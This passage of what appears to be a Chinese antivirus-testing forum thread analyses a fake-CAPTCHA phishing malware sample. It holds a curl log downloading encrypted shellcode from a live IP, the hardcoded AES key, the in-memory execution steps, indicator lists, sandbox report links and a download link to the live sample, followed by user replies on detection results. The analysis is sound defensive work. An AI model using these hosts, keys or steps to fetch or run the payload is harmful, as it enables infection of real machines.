2. * Established connection to 78[.]159[.]131[.]254 (78.159.131.254 port 80) from 10.0.2.3 port 61724
   
3. * using HTTP/1.x
   
4. 
   
5. > GET /yrjrs/ver.pa HTTP/1.1
   
6. > Host: 78[.]159[.]131[.]254
   
7. > User-Agent: curl/8.23.0
   
8. > Accept: */*
   
9. >
   
10. * Request completely sent off
    
11. 
    
12. < HTTP/1.1 200 OK
    
13. < Server: nginx
    
14. < Date: Sun, 01 Nov 2026 00:02:56 GMT
    
15. < Content-Type: application/octet-stream
    
16. < Content-Length: 8401008
    
17. < Last-Modified: Sat, 31 Oct 2026 17:07:07 GMT
    
18. < Connection: keep-alive
    
19. < ETag: "6ae6203b-803070"
    
20. < Accept-Ranges: bytes
    
21. <
    
22. 
    
23. 经过加密的 ShellCode

复制代码

释放文件

1. %USERPROFILE%/ver.pa

复制代码

解密还原

1. 前 16 字节作为 AES IV；
   
2. 
   
3. 剩余字节作为 AES-CBC/PKCS7 密文；
   
4. 
   
5. 使用硬编码 Base64 Key：x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4=；
   
6. 
   
7. 解密后得到 ShellCode 字节数组。

复制代码

内存执行

1. VirtualAlloc 分配可读写内存；
   
2. 
   
3. Marshal.Copy 写入解密后的 ShellCode；
   
4. 
   
5. VirtualProtect 改为 PAGE_EXECUTE_READWRITE，即 0x40；
   
6. 
   
7. CreateThread 创建线程执行 ShellCode；
   
8. 
   
9. while($true){Start-Sleep -Seconds 30} 保持进程存活。

复制代码

解析参考

1. {
   
2.   "tool": "dns",
   
3.   "query": "www[.]lanzous[.]com",
   
4.   "queryType": "ALL",
   
5.   "server": "162[.]4[.]84[.]45",
   
6.   "serverHost": "ns1[.]parklogic[.]com",
   
7.   "serverType": "authoritative",
   
8.   "transport": "tcp",
   
9.   "recursive": false,
   
10.   "dnssec": false,
    
11.   "subdomains": true,
    
12.   "requestId": "5209d304-8d3f-4fd6-969c-ad0edc6005a8",
    
13.   "timestamp": "2026-10-31T13:58:37.587Z",
    
14.   "elapsed": 153,
    
15.   "results": [
    
16.     {
    
17.       "type": "SOA",
    
18.       "name": "www[.]lanzous[.]com",
    
19.       "ttl": 300,
    
20.       "expire": 1209600,
    
21.       "hostmaster": "hostmaster[.]parklogic[.]com",
    
22.       "minttl": 300,
    
23.       "nsname": "ns1[.]parklogic[.]com",
    
24.       "refresh": 86400,
    
25.       "retry": 7200,
    
26.       "serial": 1
    
27.     },
    
28.     {
    
29.       "type": "NS",
    
30.       "name": "www[.]lanzous[.]com",
    
31.       "ttl": 300,
    
32.       "value": "ns1[.]parklogic[.]com"
    
33.     },
    
34.     {
    
35.       "type": "NS",
    
36.       "name": "www[.]lanzous[.]com",
    
37.       "ttl": 300,
    
38.       "value": "ns2[.]parklogic[.]com"
    
39.     },
    
40.     {
    
41.       "type": "A",
    
42.       "name": "www[.]lanzous[.]com",
    
43.       "ttl": 300,
    
44.       "address": "162[.]4[.]84[.]215"
    
45.     },
    
46.     {
    
47.       "type": "MX",
    
48.       "name": "www[.]lanzous[.]com",
    
49.       "ttl": 300,
    
50.       "exchange": "mx156[.]hostedmxserver[.]com",
    
51.       "priority": 10
    
52.     },
    
53.     {
    
54.       "type": "TXT",
    
55.       "name": "www[.]lanzous[.]com",
    
56.       "ttl": 300,
    
57.       "value": "v=spf1 -all"
    
58.     }
    
59.   ]
    
60. }

复制代码

1. {
   
2.   "tool": "dns",
   
3.   "query": "superdudesjr[.]com",
   
4.   "queryType": "ALL",
   
5.   "server": "85[.]209[.]129[.]23",
   
6.   "serverHost": "ns1[.]eternitynames[.]net",
   
7.   "serverType": "authoritative",
   
8.   "transport": "tcp",
   
9.   "recursive": false,
   
10.   "dnssec": false,
    
11.   "subdomains": true,
    
12.   "requestId": "497f89ce-ed01-4e59-91b8-1bd9c0a348ec",
    
13.   "timestamp": "2026-10-31T17:58:07.844Z",
    
14.   "elapsed": 1453,
    
15.   "results": null
    
16. }

复制代码

外壳入口
https://s.threatbook.com/report/url/048f654b01f17e8a2228c1588135538b

网页嵌套
https://s.threatbook.com/report/url/55ecc0d14529fe1326802328eac3d8c7

多级路由
https://s.threatbook.com/report/url/b51d87a44280639369ae63e64752e239

人机钓鱼
由于随机路由的关系，无法转储本次实际地址

恶意载荷
https://s.threatbook.com/report/url/27abbe7446cb71d9484fcb31ebef8919

站群之一
https://s.threatbook.com/report/url/fbe76866fc3ebdedfe53e37dd3cbbcee

加密载荷
https://s.threatbook.com/report/url/29d3ac9c1b21b0be704a91ec61712e87

初始样本
https://ata.360.net/report/883310033684480
https://virusscan.jotti.org/zh-CN/filescanjob/pps1smhghz
https://tix.qq.com/search/single?keyword=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://intelix.sophos.com/report/1e61a6c33d834434b32ac1262a2bd953/dynamic/file
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGSjE6imTITNisAbXbG
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3NzMxZHNmYXNkZmFzZGY=/
https://sandbox.dbappsecurity.com.cn/report/d159d837-c1e5-45a6-a7be-80472bbc3151/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65

https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://metadefender.com/results/file/bzI2MTAzMVNFdXJjbjNYWnNKalRRTmN2NWhT_mdaas/overview
https://www.virscan.org/report/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://www.virustotal.com/gui/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://s.threatbook.com/report/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=d3e9769e769fbbefbcf0b5680d9769e2&sk=86851537
https://opentip.kaspersky.com/6DC9C426E10A8970F408A380F1C482AF35F1A7E5A0258F5659C90AA3F8A30685/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/ZWZlZWQ4YTRkMGVkN2VlOWI5ODU5NWFhOWY1ZjBmNjU=?system_type=win10_64&sandboxType=c

样本情况
https://ata.360.net/report/883330158430208
https://virusscan.jotti.org/zh-CN/filescanjob/fjiq4u19do
https://tix.qq.com/search/single?keyword=2c7ea70d4b95c471cf355bf5d37a67f3
https://intelix.sophos.com/report/0815f8ee5c774b8cbbbf4386cb0f7655/dynamic/file
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3OTY5ZHNmYXNkZmFzZGY=/
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGS1nrJmTITNisAbXbo
https://sandbox.dbappsecurity.com.cn/report/2066936d-5d91-420c-b972-957e456c777e/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://metadefender.com/results/file/bzI2MTAzMVBoQlgyRWNZeElhbjBQQnFzdllp_mdaas/overview
https://www.virscan.org/report/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://www.virustotal.com/gui/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://s.threatbook.com/report/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=558dd0e9021f3893bb19414b18a3f95d&sk=68130197
https://opentip.kaspersky.com/0832DF167733C833D871FCBC10A58F82DD757504153105B60B18013AEFC441F0/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/MmM3ZWE3MGQ0Yjk1YzQ3MWNmMzU1YmY1ZDM3YTY3ZjM=?system_type=win10_64&sandboxType=c

样本（自解诱导）
提取码：无，解压码：infected

1. http://4275.com/fcw3of?unzip=infected

复制代码

woaimou

WD仅扫描miss

猥琐大叔

Hackm

这种样本WD仅扫描miss一点也不意外。这本质上是典型的“假人机验证”钓鱼，诱导小白按 Win+R 去跑命令。利用 curl 加 powershell 下载混淆脚本，然后直接干 AMSI/ETW，最后解密从网络下载的 Shellcode 在内存里跑（VirtualAlloc + CreateThread）。

全程没有完整的恶意EXE落地，全是系统白名单工具（LOLBins）在干活，静态特征扫描很难发现。

潜龙在渊1022

卡巴斯基扫描，没有发现威胁。

jxfaiu

沙盒内双击

西瓜视频运气

ESSP

Myrenaser

MD双击可杀

scottxzt

MD 改版了